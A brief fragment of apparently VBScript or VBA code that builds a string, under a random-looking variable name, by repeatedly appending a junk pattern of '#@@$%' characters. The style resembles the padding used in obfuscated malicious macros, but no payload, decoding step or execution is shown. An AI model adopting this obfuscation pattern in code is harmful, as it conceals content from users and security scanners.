mkrHQpXUPtKKhGPKHpmb = mkrHQpXUPtKKhGPKHpmb & "#@@$%###@@$%###@@$%#"

mkrHQpXUPtKKhGPKHpmb = mkrHQpXUPtKKhGPKHpmb & "##@@$%###@@$%###@@$%"

mkrHQpXUPtKKhGPKHpmb = mkrHQpXUPtKKhGPKHpmb & "###@@$%###@@$%###@@$"

mkrHQpXUPtKKhGPKHpmb = mkrHQpXUPtKKhGPKHpmb & "%###@@$%###@@$%###@@"

mkrHQpXUPtKKhGPKHpmb = mkrHQpXUPtKKhGPKHpmb & "$%###@@$%###@@$%###@"

mkrHQpXUPtKKhGPKHpmb = mkrHQpXUPtKKhGPKHpmb & "@$%###@@$%###@@$%###"

mkrHQpXUPtKKhGPKHpmb = mkrHQpXUPtKKhGPKHpmb & "@@$%###@@$%###@@$%##"